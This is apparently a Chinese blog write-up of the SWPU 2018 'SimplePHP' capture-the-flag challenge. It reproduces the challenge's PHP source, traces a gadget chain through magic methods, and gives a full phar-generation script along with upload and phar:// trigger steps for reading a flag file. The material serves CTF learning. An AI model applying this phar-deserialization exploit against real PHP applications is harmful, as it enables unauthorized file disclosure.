Loading

[SWPU 2018]SimplePHP

web类题目,第一件事就是打开源代码

提示:

<ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user">

根据提示访问一下上传文件的php页面和index.php页面

<?php 
  include 'function.php'; 
upload_file(); 
?> 
<html> 
  <head> 
    <meta charest="utf-8"> 
    <title>文件上传</title> 
  </head> 
  <body> 
    <div align = "center"> 
      <h1>前端写得很low,请各位师傅见谅!</h1> 
    </div> 
    <style> 
      p{ margin:0 auto} 
    </style> 
    <div> 
      <form action="upload_file.php" method="post" enctype="multipart/form-data"> 
        <label for="file">文件名:</label> 
        <input type="file" name="file" id="file"><br> 
        <input type="submit" name="submit" value="提交"> 
      </div> 

      </script> 
      </body> 
      </html>
<?php 
  header("content-type:text/html;charset=utf-8");  
include 'base.php';
?> 
<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->
<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 
<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()//触发tostring
    {
        $this->test = $this->str;
        echo $this->test;
      //9.这里会将this->str赋给test,
      //只要test为一个对象,就可以触发tostring,所以在构造的时候传给str一个show对象
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()//8.谁可以触发__toString()
    {
        $content = $this->str['str']->source;//7.这里触发了__get
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)//6.哪里触发了__get
    {
        return $this->get($key);//5.调用了get
    }
    public function get($key)//4.寻找谁可以调用get函数
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);//3.这里调用了file_get
    }
    public function file_get($value)//2.寻找谁可以调用该函数
    {
        $text = base64_encode(file_get_contents($value));//1.最终要触发的函数位置
        return $text;
    }
}
?>
访问 phar://phar.jpg → 触发 PHAR 反序列化
反序列化 $c(C1e4r 对象)→ 触发 C1e4r::__destruct()
echo $this->test(Show 对象)→ 触发 Show::__toString()
$this->str['str']->source(Test 对象无 source 属性)→ 触发 Test::__get('source')
Test::__get() → 调用 Test::get('source')
Test::get() → 从 $this->params['source'] 获取路径
Test::file_get('/var/www/html/f1ag.php') → 读取文件并返回 Base64 内容
结果通过 echo 输出

构造payload:

<?php
class Test
{
    public $str;
    public $params;
}

class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str = array();

}
    $t = new Test();
    $c = new C1e4r();
    $s = new Show();
    $t->params['source'] = '/var/www/html/f1ag.php';
    $s->str['str'] = $t;
    $c->str = $s;


    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($c); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

然后访问upload/ 可以看到上传的文件名

再通过file.php来读取该文件

file.php/?file=phar://upload/xxxxxxxxxxxxxxxxxxx.jpg</font>

posted @ 2025-04-07 17:12  赟希  阅读(18)  评论(0)    收藏  举报